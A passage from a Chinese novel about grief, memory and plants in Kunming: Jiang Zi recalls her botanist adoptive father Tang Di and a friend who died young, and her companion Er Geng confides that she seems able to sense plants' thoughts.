我从农场一个大姐那里知道,那个手串是苦楝树的种子做的。我第一次听到这种植物的名字。它的花是紫色的,种子结好了是金黄色的,之后会慢慢变白。做手串,要用先热水泡种子,去皮、去果肉,再用砂纸慢慢磨平种子的棱角和两头,也可以在河边找个石头慢慢磨,之后再穿孔,才能做成手串。 这个手串到我这里时,硌手的地方早已经差不多被磨圆了,不知道来来回回被盘了多少次,和佛珠一样。 从那以后,我也开始把它当佛珠用。 我一开始在菜园里养猪,后来割香蕉,再后来,去过忙肺的大叶茶园里收过茶。1975年公社、大队在忙肺领岗联办茶叶初制所。但那之后,没多久,我就回城了。那时候争取回城的名额并不容易。学生们经过了几次运动,拼死拼活才回去。我回到北方的生活,并不十分顺利。我的身体留下了病根,成家后,没有生育。丈夫年轻时就因病去世了。再过几年,父母走了,我孤身一人。 我把手串收在抽屉里,不常戴它。但一旦日子过不去了,我就找出来,想象那个午后,那条日光照的闪闪发亮的河,那个满头白发的大娘,她说得我听不懂的话,还有她硬塞给我的手串,以及一颗在兜里被暖的温热的鸡蛋。 我年纪大了,想到一个温暖的地方度过余生。温暖到不怎么下雪,不必铲雪,不会让人觉得冷。我的人生里,有一些要“熬过去”的经历,那种感觉,像是一个人超越了一个冬天,没有任何人知道,也不必和谁说,只是自己越过了,没有被冻死。但它会留下后遗症:怕冷。 云南是个好地方。在那个曲折时代,我在这里死过一回。住过没有电灯照明的房子,竹子做墙、茅草作顶。四个多月的雨季里,种什么菜都会烂根,只有酸腌菜、盐巴汤,缺菜少油少肉。大蚂蚁、牛蚂蝗、毒蛇、毒蚊子随处可见,叮一下咬一口,皮肤很容易溃烂。人在十几二十岁时承受这些,是非常痛苦的。时至今日,我性格中某些固执的部分,仍然无法对这段经历彻底地释然。 但云南又救过我的命。一个老人家,用一颗鸡蛋,一个手串,救了我。我不知道人一生有几条命。如果人像猫,会有九条命的话,我的一条命,是云南的大娘救的。 许多年后,我反复回忆河边那个下午,猜测老人对我说的话,我忽然觉得那大概就会是,‘好好吃饭’这样简单的话。无比简单,但对活下去最有用的话。 有了这个手串,我时常幻想,有人在背后轻拍我的肩膀,告诉我不要害怕,好好吃饭,都会过去的。就像沉底的醋瓶子里的沉淀,再酸,再涩,只要你挺过去了,它就只是,醋瓶子底下的那块醋底子罢了。” - - “到了!”姜籽停了车。小黄姜按耐不住,挣脱二更的怀抱,想跳下车斗,直接把二更拱醒了。 她有些迷茫,梦中故事,才讲到一半。 也罢,到了,到市区了。 她伸手去摸口袋,手串在,被小黄姜暖出了温度,像一颗温热的鸡蛋。它提醒着下一个有缘人:好好吃饭。 6. 第四课:唐棣 大自然的法师 01绽放,不因任何人的偏好而转移 入春之前,昆明迎来一场倒春寒。一场春雨让高原迅速地凉了起来。姜籽因风寒鼻咽炎复发,鼻涕倒流,这一周一直在家休养,顺便构思梅蓝绘本中食材展示的部分。 二更去看望,敲开门,看见一只巨大的丑鱼出现在眼前。 一条紫色围巾,包满全头,姜籽上身穿了一件中年人偏爱的排骨羽绒服,下身松垮垮地搭了件很宽大的毛绒睡裤,此外再套上一件卡通丑鱼的睡衣。穿得越丑,越觉得暖和,越觉得是在好好休息,这是姜籽的冬日穿衣理论。若不是那张脸依然可爱,二更真的会像扔废纸一样,把这条丑鱼团吧团吧,丢到天边去。 今日多云,日光却好。既然二更来,姜籽提议,去湿地写生。这次,去她的另一个秘密基地,比上次还要远,还要更隐秘。 倒也不是十分隐秘,因为二更发觉,这一片绿野上也晒暖睡觉的人,远远看去,像从日光照耀的土地上生出来的小土豆。好在这块地,土豆并不高产。若恰好有一朵云飘来,遮住天光,小土豆们会知晓换了光景,挪动一下身体,永远对着朝暖的地方。这样的时刻,水边的芒草会生出一种寂寥、空旷的感觉,在暗色调里显露出不容亵渎的威严。人也变得有一些渺小,像易碎的壳类小生物。 为了不打扰姜籽写生,以及不显得自己拙劣的简笔画太过可笑,二更决心换个计划忙活起来。她打开手机,七找八找,放一组爵士乐来听。是几十年前复古的老爵士乐了,一入耳,她就彷佛闻到了黄油加上普洱茶的味道,在纯净的自然环境,这个味道似乎更加醇厚了。 “小佘姐”,姜籽像小黄姜一样,抻着鼻子就闻过来了,她嘟囔着,“有点好听。” “哦,忘记带耳机了”,二更道歉。 “没事,我以前,经常来这里。我有个朋友,也会放爵士。” 那大约是很多年前的事了。 姜籽的父亲唐棣去世后,她睡眠一度很不好,总是作乱梦。梦见一个院子里有一棵葡萄树,往下掉毛毛虫,越掉越多。有只毛毛虫落在了她的肩窝里,怎么爬都爬不出来。姜兰带她去看医生,医生开了调理的药,建议孩子可以多出门晒晒太阳,冬日的暖阳尤佳。好多事是可以靠着晒太阳变好的,这是昆明人的传统药方。 那之后,她就经常到滇池周边晒太阳。越走越远,从最近的草海、海洪、星岛,到捞鱼河、南滇池。晒着太阳,人更容易入眠,从最初的露营毯,到露营椅,再到最后两棵大树之间栓一个吊床,她可以用各种方式好好睡个温暖的觉。 栓吊床需要有仪式,她会找看着顺眼的两棵树,先抱一抱,如果抱起来很舒服,就在它们身上栓一个吊床。她会告诉这两棵树,“树先生,请让我在你们怀里睡一觉。”姜兰在旁边看她睡。有时姜籽能睡一下午,醒来时,就看到姜兰在树下的阴影里坐着看书。发觉女儿醒了,姜兰就冲着她笑。这一下午,过得充实又妥帖。 晒不到太阳时,姜籽有别的办法。父亲一个同事特意教她,每天早晨起来,收拾一下,就出门走走,去看看植物。有喜欢的树,就在它底下坐一坐。肚子饿了,就回家吃饭,但要记得,带一片叶子回来。随便哪一种植物的叶子都可以,要在不伤害它的前提下,摘一片叶子回家。这样一天就可以顺利地开始,接下来,要乖乖地带着这片新鲜的叶子开始例行公事,吃饭,学习,运动。 最开始一两年,姜籽个子小,只能摘路边灌木丛的叶子,比如冬青、南天竹、常春藤、卫矛。有时不想摘叶子了,就带一些果子或者种子回家,比如八角金盘的果子、百子莲的种子。小小的姜籽很善良,从来都是换着薅,不让一棵植物的一个枝条秃顶。又过了一年,她会摘枫叶、槭树、白蜡木的叶子,这些树在长得还不大的时候,不高不低,或者靠近水时,会刻意把身子俯得低一些,恰好让有长高了一些的姜籽够得着。再过一段时间,她会自己爬到二层楼或者露台上,摘香樟、构树、悬铃木、小叶榕、银杏、鹅掌楸、蓝花楹的叶子。 姜籽就如此慢慢地好了起来。 等到姜籽上了高中,她仍然保留了去植物多的地方去晒太阳睡觉的习惯,并因此结识了一个特别的朋友。 “他叫云实,长得很好看,是我这辈子见过的最好看的人。 他是个男孩子。但他会让人会不自觉地淡化性别,只当是一个很好看的人。 该怎么解释呢?小佘姐,你看过ABO文学吗?一种网文的类型,把人分为三类,ABO。O是很温柔的那一类人。我觉得,最美好的Omega大概就是他那个样子了。 云实和我不一样。他到林子里,是为了听鸟叫。有一次我走到一棵马缨花树下,树上长着巨大的绣球,古装剧里小姐抛绣球找情郎的那种超级大的绣球,火红火红的,还很圆,特别喜庆。我觉得这棵树马上就要嫁出去了。我在走几步之后的两棵树之间,看到了撘吊床的他。 他太好看了,像是这个林子里的新郎。 他说自己睡眠也不是不好,要找鸟叫声很好听,听着鸟叫睡觉。” 二更联想到与姜籽一起去画室的路上的杜鹃林,她似乎猜到了云实与姜籽相遇的地方,她开始在这样一幅充满生命力的地方,去想象云实会是如何美好的人。 “我们就这样成了朋友。他会告诉我一些比较适合撘吊床的地方。我们偶尔会遇到。遇到的时候,也不会多说话,毕竟大家都是来睡觉的。他比我大几岁,具体几岁,我不知道,他的外表看起来就像一个永远十八岁的少年。 我们有时候会通邮件。我告诉他,栾树已经开始栾树的蒴果了。他会告诉我,最近早上听见的鸟叫,应该来自于白头鹎和乌鸫的和鸣。一周后他又会回我一下,告诉我,现在栾树的果子已经成串了,颜色很好看。 但他很年轻时,就去世了。” “哈?”二更并未从这个戛然而止的情节反应过来,她还沉浸在某个美好的花木世界里。 “意外。车祸。 不过那时候,我的心脏已经没有那么脆弱了。它毕竟碎过一次了,再粘起来之后,变得没那么精致,变糙了,抗造了。所以我没有特别特别特别地难过。 我妈说,这样好的人或许不属于这个世界,他回他的世界了。这样说,确实有让我感到好过一些。 他是个很神奇的人。有他在,我就可以看见鸟。‘看见’,是说,我脑海里有一幅很奇妙的画面。当他说,刚才那一声是什么鸟在叫,这只鸟长什么样子,喜欢吃什么,喜欢往哪里飞,我似乎可以看得到。 但他不在了,我就看不到了。我还是会去林子里睡觉,但再也看不见林里的鸟,甚至连听觉都衰退了很多。 精灵走了,他曾在你身上施过的魔法,也会不见。对吧? 许多年后,我长大了。有一年,我在画一系列以季节为主题的植物展览定制画时,画到一组叫做‘短命植物’的花草。你没听错,它们就叫‘短命植物’,多残忍的名字啊,太不客气了。 这是一个专有名词,涵盖了像侧短命菊、非洲木贼等植物。这些植物是世界上生命周期最短的植物,寿命通常不足一个月。它们会在春季疯狂地生长,绽放花里胡哨的色彩,像掠夺领地一样地去吸收阳光。它们会把叶片上的气孔统统打开,大口大口地呼吸,很贪婪,又很热血。到了夏季,它们就突然消亡,像植物界的蜉蝣。 但为什么不能叫春生植物呢?这样,会让人觉得温婉一些吧? 我一瞬间又想起了云实。他也这样,来去匆匆。自此,每年,从冬春之交开始到盛夏结束,我都会时常想到他。这种伤感并不强烈,但持续存在。 现在也是这样的时节。其实,我今天也很想念他,小佘姐。我其实没有心情写生。”姜籽很诚实地把画板转了过来,上面只有一些很潦草的线条。“而且,我也想他了。我的父亲” 姜籽翻开手机,找出一张老照片的翻拍照。彩色的,有些模糊。她并没有起身,只懒懒地张开手臂,晃悠悠地递给二更。 一个穿着冲锋衣的男人,张开双臂,躺在薄雪覆盖的山野。错位之下,他脸几乎紧贴着几朵蓝紫色的绿绒蒿。蓝紫色的这种特别瑰丽的颜色,只有在高原高海拔的紫外线照射下才能够产生。他的衣服上有灰尘,墨镜下的脸上也有泥土,却给人温暖而干净的感觉。眉骨清朗,深眼眶,高鼻梁,眼黑亮,他好像......一只森林里的鹿。 在这次的野外考察中,唐棣因遭遇山体滑坡导致的车祸不幸身亡。但他在拍摄这张图片时,将干掉的花种轻轻捋出,撒向大地。因为他的这个举动,绿绒蒿会在这片高原上继续生长,代代生息。 “在画室里,我们喝过的茶,是月光白。我爸和我妈,就是因为月光白认识的。这种白茶是普洱景迈山古茶林里的特产。”姜籽说。 在景迈山,布朗族先民与野生茶树相遇了。迁徙途中的先民选择在有茶树的地方定居,布朗族世代经营茶业。姜家的家族茶业,就在景迈山古茶林中。每年,姜家人都会来茶山修养。姜家的向天盏茶,上世纪90年代真正起家。彼时,老茶区的国营茶厂因经营不善、市场环境不景气等原因逐渐没落,被迫开始了由国营到私营的改制潮。向天盏在那时把握时机,将普洱、临沧等地几处坐拥古老茶山的老茶厂收购,合并为私营茶厂。此后二十多年,向天盏逐步发展为知名的中型茶业集团。 那年,姜兰随家人去祭拜茶祖,唐棣参与“普洱景迈山古茶林文化景观”的申遗专家组,来布朗族寨子里做茶林生态的考察。 布朗族寨子的茶林里,有一棵近50米高的古榕树,被当地人尊称为“锦绣茶祖”。这棵榕树是当地人供奉的茶神,细密的树枝上挂满了无数的红色飘带。不同于温带平原地区常见的低矮榕树,云贵高原密林中的榕树,直耸参天,庞大得如同一个巨人。尤其是这棵榕树上还密密麻麻地挂着70多个蜂巢。每年二月底,春茶开采,近万只蜜蜂会从四面八方飞来,在神树上筑巢栖息。 唐棣和姜兰,就在这棵树下相遇了。 二更的眼前又开始浮现画面,一棵神圣的树就快要轮廓鲜明了,但是--“我前几天路过了一个公厕,想起我爸以前带我去看过这里的仙人掌”,姜籽的话又一次突兀地打断了她的幻想。 哈?二更又一次没忍住,脸上全是古风仙侠剧突然被一支泡面广告插播的复杂表情。姜籽真是一个很奇妙的人,前一秒说着古茶树下男女主角的相遇,下一秒就转到公厕旁边的仙人掌长得繁茂了。 “没什么奇怪啊,那棵仙人掌也很高大,也很神圣的”,姜籽解释道,“仙人掌有两层楼那么高。我们反复确认过,这是主城区内最高大的仙人掌。我爸说,它们懂事,所以皮实,不会嫌弃这里是公厕,该怎么长就怎么长,还要好好长,就像老祖宗严选的田园猫狗。 还有家派出所的三角梅长到了六层楼高,一家中医院里屋顶上也有一排仙人掌,冲天向上,特别壮观。楼下就是ICU病房。我一直相信,病人们如果知道头顶上有这么努力生长的植物,会很受鼓舞。 所以我和我爸经常会在某条路上停下来,在某个角落,包括在某个公厕旁边,看带长得很好的植物。我爸在这些事情上有点孩子气,比我还孩子气,完全不在意别人怎么看。花草的绽放与人的评价无关,不以任何人的偏好而转移。 我记得小时候,我爸带我在金殿山林里散步,就像我带你走路那样。日落了,太阳开始向着山林洒金。我们下山时路过环卫工人驻扎的一个蘑菇屋。橙色的环卫服,在晾衣绳上晾干了,透着光,是整个山林里最亮的颜色。大概是环卫工人也喜欢花,这里晒着几盆喜阳的花,开得最好的是乒乓菊。 直到现在,我都没有看过长得那么好的乒乓菊。环卫阿姨把它养得很好。它一定很快乐。” 唐棣,是姜籽的养父,虽不是亲生父亲,但他对姜籽同样喜爱,像观察一棵植物那样,是很细致地去喜欢。 比方说,观察一棵树,最好的办法就是多年定期观察。观察越多,收获越多。你不用改变树,也不用改变自己,甚至不用跨越千里去寻找,每天出门路上遇到的那棵树就可以。唐棣对姜籽的观察,也是如此。 姜籽很小的时候,唐棣常跟姜兰说,女儿的某颗牙又长大了,睫毛更长更密了,左边的睫毛比右边更密,右边的眼角比以前睁开得更大了,鼻头又往上翘了。这些,姜兰几乎从来没有发觉过,或者很久之后,她才验证唐棣说的是对的。 姜籽稍大一些,走路不太熟练,难免磕碰。唐棣会带着她去看看滑倒处的石头,上面往往生着青苔。他会找个小袋子,挖一小块青苔带回家。这些青苔长在路边的,挖一点点,不会影响生态系统,挖走放在生态瓶里,相当于给它换了一个家。他们只挖过两次。青苔这么小,细胞中却含有叶绿体,可以进行光合作用,能够独立生活,可以在家里慢慢长大,活两三个月,甚至更长。也有时候,石头上长出来的苔藓是安了家扎了根的。它们毛茸茸的,像一层细毛,已经妥当地生长在了这里,不能挖。他们只用手轻轻抚摸一下,感受它的生命,观察日光下金色到褐色之间的过渡色。 养青苔、看青苔的姜籽,渐渐就不怕摔倒了。对唐棣而言,这也是重新认识植物的方式。托姜籽的福,他可以重新在比较低的高度,好好地观察这些植物。 再大一点,姜籽能跑了,他们就出门散步。姜籽走在前面,唐棣跟在后面。路,是香樟树能够遮阴的散步小径。春夏季,路面上黏黏的。蚜虫吃树叶时并不会把内部的糖分完全消化掉,排泄出的蚜虫蜜露有黏性,滴在地面上、车玻璃上,都黏黏的。姜籽一边感受着粘,一边奋力抬腿往前跑,父亲就悠悠地跟在后面走。女孩回头时,他看她笑,两个人的眼睛都弯弯的。 许多年后,姜籽自己走在这样的林荫道上,阳光透过树叶洒下来,前面一个小男孩在跑,光点洒在他身上,跟着他的跑动跳跃。姜籽忽然明白了当时唐棣为何看着她笑。或许小时候的她,在父亲眼中,也是一个披着流光披风的小侠客。 姜籽上小学后,就跟着父亲去他工作的植物园了。 小孩子,最开始肯定是喜欢花多一些,毕竟花朵更鲜艳。唐棣设计了一种亲子游戏,让姜籽在园子里找不同形状、不同颜色的花,比如,找唇状、坛状、漏斗状、筒状,舌状,蝶形的花。他在一张纸上花出花的形状,让她去对照找。不可以摘,只能自己记住地点,都找到了,喊他来看。姜籽不吵不闹,还能跑跑动动,玩得开心,回家之后,睡得很甜。 园子里有很多花,其中一种叫灯笼花。它好像从来不会开放。红色的瘦条小灯笼挂在枝上,上午不开,正午不开,下午也不开。一连几日,姜籽来来回回看了多次,它仍只像是收起来的伞。难不成,下雨的时候才开?她不甘心,硬是撑着伞来看。唐棣也来了,他说这种花永远不会全然开放。唐棣说了,姜籽就信。世间还有这样倔强的花!姜籽觉得它很特别。唐棣说,花不开放,也是一种开放,花不是为了开给人们看才存在的。与其说,这是花的一种傲慢,或许应该换过来看,人不应该以人类的傲慢去审视一朵花。所谓顺其自然,就是观察它的特点,知晓它的天性,尊重它的法则。 花开常谢,渐渐地,他们开始和叶子玩,寻找各种形状、触感的叶子。姜籽的任务变了,她开始去找地上的落叶。卵形,扇形,条形,圆形,心形,肾形,菱形,披针形的叶子好找,倒披针形,提琴形,匙形却不好找。在形形色色的绿中,姜籽度过了许多个快乐的下午。 随着姜籽对植物越来越熟悉,唐棣会让她玩排列组合的游戏,譬如三个扇形、一种卵形、三个菱形。他们的游戏图纸上,永远有别人看不懂的密码。 再后来,他们的玩伴是果子。两人最常去的是黑龙潭和金殿的后山。姜籽认识很多植物的方式,是看到了它落在地上的果子。先捡起来果子,再抬头,看是哪一棵树留下了它。就这样,她认识了锥栗、板栗、茅栗等等。它们的果子都是苦的。 再大一些,姜籽可以爬梯子了,她拥有了一个刷了粉漆的小梯子,很宽,很结实,还有唐棣在底下扶着,很安全。这样,她就能看更多植物的花、叶子,尤其是还在树上的果实。姜籽近距离地看到了佛塔树的佛塔蜡烛、大叶紫珠的紫珠串、壮丽含笑圣洁的花。鹅掌楸长得很高大,树很常见,但人们一般看不到它的花。它比郁金香大,比广玉兰的花小。金黄色的花像酒杯,很耀眼,像开在碧浪里的金色的莲。油橄榄的果子也很好看,红紫相间。云杉的秋果在变成褐色之前,会有段时间如残阳一般地红,似乎怕来不及红不够一样。 粉色梯子还会让姜籽听到风,和梯子下不一样的风声。同样的风,吹到不同树上,是不一样的声音。植物园枫香林里有一株三百多岁的响叶杨,稍有风吹,它的叶片就哗哗作响,像优雅的大提琴。 再之后,姜籽的玩伴又增加了。唐棣的同事们是一些奇奇怪怪但很可爱的人。他们喜欢姜籽,也会捉弄姜籽,有些善意的捉弄,是她长大了回想起来才发觉的。 有一位研究古植物化石的叔叔,总是沉默寡言。但如果他从地上随便捡起来一个果实,就能从种子的出现开始讲,讲它如何成为植物,讲很久,讲到姜籽觉得困忍不住打哈欠。姜籽一句话都听不懂,可她很会点头,十分会捧场。她忽闪着大眼睛,每隔一两句就点一次头,看起来是个好学生。所以,叔叔送了她很多好喝的酸奶。 有一个阿姨是研究生态系统的。她在姜籽很小的时候就对她说,“你要活成一个生态系统,要有生产者,也要有分解者。如果你不知道作为一个人类生活该怎么生活,就做个植物。”直到现在,姜籽都觉得这句话很有用。 有一个阿姨研究花卉。她经常和姜籽说,去哪里吃到了什么好吃的。但她有独特的描述方式,每到说到某个地点时,她总会讲各种颜色的路。教场东路是紫色的,因为有蓝花楹;建设路是暗红色的,因为水杉到了秋季会变红;大梅园路有一阵子是黄色的,有一阵子是粉红色的,因为那里种了两行栾树,栾树在不同季节的花和果子颜色不一样;穿金路是玫红色的,因为有紫薇花。穿金路花开的时候,她好像恋爱了,后来又分手了,再没和姜籽说过穿金路上的紫薇。 有一个长得很好看的叔叔,眉眼是飞起来的,像古建筑的飞檐。他不凶,也不娘,很英武。姜籽喜欢他,老追着他跑。但他不喜欢小孩,所以他给了姜籽一粒种子,说什么时候能砸开,什么时候就再和她说话。 “那是鱼蓝柯的果子!!”姜籽忽地爬起来,愤懑地说,吓了二更一跳。 “是不好砸开吗?”二更问。 “何止不好砸开,这种树的果子果壁非常厚,是硬角质的,加工特别困难。他就是故意的!”姜籽坚定地总结道,“所以我从小就知道,好看的男人靠不住!会撒谎!” 姜籽不知什么时候已经盘坐起来,用力敲一敲了在空中的不存在的小黑板似的,接着说,“我很遵守规则的。我没有再烦过他。不过,现在回想,他和谁都不怎么说话的,或许他就是不喜欢和人说话的性格。遇到同事带着孩子去上班,他觉得很苦恼,就给我们每个孩子一个果实。哼,也不知道他抽屉里藏了多少硬果子。 直到我爸去世,我又见到他,他对我笑,还摸摸我的头,但还是不会和我说话。现在我长大了,我觉得这个做法其实挺好的。人可以很巧妙地拒绝其他人类。” 等姜籽再大一点,姜兰放了通行证,允许唐棣单独带着姜籽去外地的植物园。 昆明离版纳不远,她们在版纳植物园看热带植物。象鼻棕金黄色的果实很有光泽,如同一个上了油漆的木球,是天然的工艺品。在棕榈科植物中,象鼻棕生命短暂,一生只开一次花,结一次果。姜籽看到果子,就意味着一株象鼻棕的生命已经结束了。她有些不舍,在象鼻棕果实展柜之前呆了很久,不愿意走。唐棣只好强行抱她走。很快,她见到了猫尾木,刚才对象鼻棕的浓烈情感就悬浮起来。猫尾木的果子很长,带着黄褐色的绒毛,像猫的尾巴悬垂下来。姜籽看得很开心,把对象鼻棕的情谊抛在了脑后。 “如果一种植物让你伤心难过,那就去看另一种。永远会有一种植物让你重获欣喜。植物永远可以治愈人类,只要你走出来,走到它们面前,心情就不会太坏。”唐棣对她说。 姜籽第一次认真地画植物,就是在和唐棣去国家植物园的时候。她画的是巨魔芋。姜籽和唐棣去国家植物园看巨魔芋开花。它是世界珍稀濒危植物,植物园在引种并精心培育了8年之后,才迎来了巨魔芋的首次开花。来看的人很多,她们排了很长的队,才看到了那株1.86米高的植物。 它长在一个封闭的温室中,像一只玻璃罩里的国王,很威严,却有一点点孤单和身不由己。它开花时会散发出腐臭的味道,像刚刚死去的动物的尸臭。它甚至还懂得模仿刚刚死去动物的体温,让花序轴顶部的温度达到38℃,更好地吸引昆虫。游客们在特定的观赏环境里闻不到他的味道。如果闻到了,肯定都被会吓跑。 姜籽看了好久,看累了,而唐棣还没有厌倦。唐棣说,你看到一种植物,即便你未曾见过它的盛世,只在标本室或者植物科绘图中见过它的生命,仍会为之感受到一种大自然造物的神奇,心神为之震颤。这种情感积累起来,在他的心里,被统一归为一种“怀念”。对,很奇怪,他就是想用“怀念”这个词来形容,彷佛他们曾经见过似的,彷佛他们还会再重逢。巨魔芋就是一种“怀念”类别里的植物。所以他忍不住看得入神了些。 走出展室后,两人找地方画速写,凭借记忆和一部分想象,画了各自看到的巨魔芋。那时姜籽以为,以后,他俩一起画植物还会有很多。 02 让密码在你的世界里运转 “但我爸,食言了。”姜籽悠悠地说。 “他没有实现对我一些许诺。他说过,等我上高中的时候,就带我去高山森林,去看高山植物。在常年积雪带的地段有很多矮小的植物,很美丽,像华丽龙胆、拟耧斗菜。华丽龙胆有一种被月光洒过的蓝,拟耧斗菜像是被春水洗浅了的紫。这些,我都以为和他一起画。” 长大后的姜籽,开始画植物科学画后,时常有种感觉,她也陷入了“怀念”。她的怀念很简单,只是对父亲的怀念,无法有重逢的时刻。 姜籽毕业后,直接回了昆明。回来第一天,她看了一下午的太阳,也看了一下午自己的影子。春城的日光和它晒出来的影子,她都很熟悉。脚边,一颗黑色的小果子,从香樟树上落下,它的影子如静物模特一般,很耐得住寂寞。 人能从植物身上得到力量,姜籽从小就知道。 唐棣告诉她,一棵树,只要树冠初步有了雏形,即便还不够丰满,在日光下,影子也是壮美的。植物一直能看到它长大后的样子,所以它们可以坚定不移,自信从容地长大。人也有影子。人生要复杂得多,但只要你多在阳光下看看自己的影子,看到比自己更高大的明天的样子,也能坚定信心,好好走下去。 唐棣还告诉她,其实,只要人站在任何一棵比自己高的植物面前,静静地站一会儿,无论是一棵路边的樟树,还是街口的加拿列海枣,只要你静静地看它一会儿,你就能意识到,它 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爱,在这对父女的世界里,大概就会这样运作。即便这故事结束得匆匆,姜籽仍是一个不缺爱的小女孩。父亲彷佛一位从大自然走出的法师,他施过的魔法,永恒存在。 “那么,答应老延,也和父亲有关吗?”二更问得小心翼翼。 “我爸走得时候,也是一个人。他去野外考察,经常是许多人一起出发,但过程中,有时要一个人驻扎在一个地方,甚至很久。他的人生,他最喜欢的某一段生活,或许也包含这样的时刻吧。所以,我当然很想知道,一个人离开这个世界时是怎样的,会不会害怕?会不会很孤单?还有,一个人按照自己喜欢的方式独自生活的那个阶段,即便那是生命的终结,他会不会也体验过他想要的快乐?”姜籽的声音很轻,但心有些沉。 “羡慕你。你的出发点,是因为爱。而我的出发点,是因为我怕死。” 二更苦笑一番。 “小佘姐,不必害怕。你知道吗,很多长得很好的植物,高大的乔木,都是独活的,”姜籽说。“我们可以这样理解,植物在一个盆里,多株挤在一起,它们其实都不太好活。挪出去,自己活,兴许会长成参天大树”。姜籽的语气变得很老成,她继续开解二更道,“但是一棵树,要长成一棵大树,需要时间,而你现在还很年轻,你还需要让树干变粗,枝干变多,慢慢枝繁叶茂。这需要耐心,慢慢来。” 二更内心涌起一股溪流,是意外的感激。 这些年,她很坚定地选择了一个人生活。即便是关系还不错的朋友,尤其是女性朋友,对她的态度都越来越奇怪。她们希望听到她很可怜、她后悔了、她很寂寞这样的抱怨。作为一个专业记者,二更对交谈的逻辑有职业训练出来的敏感。她的一些朋友时常在对话中,来回折腾,希望她承认那几点。她对此越来越感到疲倦,对一些友情亦渐渐远离。就算顺着她们的心意说出口,“是啊,我就是过得有点惨,”对方只会轻飘飘地说一句,“哦,那你真的很不容易。”当她真的拿出收款二维码的时候--她真的这样做过,为了结束一场无趣的对话--没有一个人,会给她打点救济钱。对友情,她很灰心。 姜籽出现了,她出奇地真诚和可爱。 不远处,稍前半小时,来了位优雅的老人家,晒着暖织毛衣。拆了旧的枣红色毛衣,团了烫发一般的毛线球,扯出来的旧线,弯弯曲曲像泡面,带着旧时光的味道。老人的老伴是老师,喜欢穿白衬衣,现在胖了,她拆掉旧的毛衣,打算改一件大一些的马甲。如果还有线富余,就再打个脖套。 二更知道。她竟然知道这些--因为老人身边的不知那一棵小草,柔柔地递来了小话,像中学时代传纸条那样。 “一个人,可以听见植物说话,这件事,奇怪吗?”二更问,声音轻轻地,像小草在递话。 晚霞将来,她也不想藏秘密,终究还是问出来忍了许久的问题。 “不奇怪。”姜籽答得似乎漫不经心。 “我认真问的。”二更强调。 “我认真答的。”姜籽躺着,面庞随日落被渡上了一层暖红。“你问云南孩子,大家都会这么答。” 姜籽接下来的话,像是一首摇篮曲,安抚着二更存续了一段时间的不安思绪。 “我小时候的音乐老师是第一个告诉我植物会唱歌的人,她还会带着我们听植物唱歌。 我们这里有很多少数民族,所以有很多少数民族的节日。一到节日,大家就唱歌跳舞。这种场合会出现很多乐器,芦笙、葫芦丝、鼓......它们都是用植物做成的。芦笙的材质是杉木、松木或梧桐木,葫芦丝的材质是葫芦、竹管,竹笛就更不用说喽。云南的孩子们从小就在各种节日里,和花草树木一起跳舞唱歌。 我们老师是文山的壮族人,壮族鱼鼓是用枫木做的。与其说,这些植物被做成了某种乐器,不如就按照老师的说法:所有的植物都会说话。 如果一个人看到过乐器制作的完整过程,就会对这一点更加明白。比如,我做过简易的象脚鼓,傣族人的象脚鼓。先把芒果树的树干掏空,再蒙上牛皮或者羊皮。你看,植物经过了一些转加工,以新的方式发出自己的声音。” “那如果,树啊、草啊、叶子啊,没有被做成乐器,它们还活着,就是一棵树、一盆铜钱草的状态,人还可以听到它们说话吗?” “那也可以”,姜籽又躺下了,摇了摇两只脚,两个脚丫子像两个小精灵,开始在草坪上蹦跶起来。“那更厉害,不过我也认识这样的人。”姜籽用脚丫画了一个圈,然后停下了,不玩了,她要认真地回应这个话题。 “虽然我不可以,但一直以来,我知道,有人可以。比如我爸。我爸以前说过,人能听到植物的说话,就抵达了‘无我’。这意味着人要暂时把自己忘记,或者收起来,放在身后,变成空心的莲藕。这样,水才可以进来。他会对着植物站很久,也不做什么,应该就是和那棵树聊天吧?我和我妈都不会去打扰他,也不会问聊了什么。” “不好奇吗?”二更问。 “不好奇”,姜籽对此有些经验,“因为如果你问,他可能会给你讲述一节长长的课,什么鱼尾葵植物的分类和进化史,然后你就会无聊得睡过去了,这样之后,你就不会再好奇了。”姜籽有些怀念,也有些无奈地解释道。 “还有我在国美读书时的老师,他应该也可以。我记得有一堂课,画花鸟。老师总是批评我们这里不好、那里不到位,他总是那句话,‘你们怎么就不会和花鸟鱼虫说话呢?!’他当年有一句话流传很广,甚至上了学校论坛的热搜,‘只要爱得够深,万物都会与你谈心’。 他觉得我们都是不开窍的棒槌。他可以,不意味着学生们就可以呀。后来他给我们布置了作业,每周要完成几件事:一个是读一首古典的诗词,唐诗宋词元曲都可以;一个是每周要认识一种植物或是一种鸟类,为它们写一篇200字以上的小传,瞎编的童话神话,或者蹩脚的情诗都可以。在那之后的几年里,一些同学成了观鸟爱好者,甚至转了行,成立了观鸟机构。还有个同学成了诗人。 一个女孩子,曾在老师布置的植物观察作业里写过:她可以听懂西黄松唱歌。她说从小就可以听到,但没有人相信。大人们说,那是西黄松树在风中发出的自然的声响,只不过有点大。还有人告诉她科学的解释,松针不会灵活的应对风,因此在风中,坚硬的松针和空气碰撞,发出猛烈的声响。 然而她坚称,她听到的是一种歌唱。为了证明自己的感受,她甚至专门跑去另一个村子做访谈。因为那个村子有一些习俗,祖祖辈辈都认为,杨树在风中会哭泣,所以全村人都不会把杨树种在院子里,也不会种在房前屋后。‘他们就是听到了。全村的人都听到了。我因此不再孤单。’老师在课上读了这篇小作文,说他可以懂她。女孩感动得哭了。这是第一次有人公开相信她的说法。 我也很喜欢植物,每次我在两棵树之间撘吊床的时候,就会和它们打招呼。如果它们不希望我打扰,就请告诉我,我换别的地方。但很可惜,我感觉不到什么,也听不到什么。” “我......好像能听见。”二更的语气不是那么自信。 “嗯?”姜籽一咕噜爬了起来,那表情,像高速夜间给司机提神的炫彩射灯一般饱满。 “不是真的能听见植物像人一样说话,只是......我好像感受到它们的想法,或者说念头,又或者,我可以通过和植物的接触,比如凝视、触摸,感受到某一些和它相关的画面。”除了医生,二更第一次和别人聊这个,她很小心地组织语言,“不科学地形容,大概像通灵?我一直怀疑,这是一种幻觉,但似乎,它又多次被证实过。” 姜籽凝视二更,“不必证实,我相信”,她说得平和而坚定。 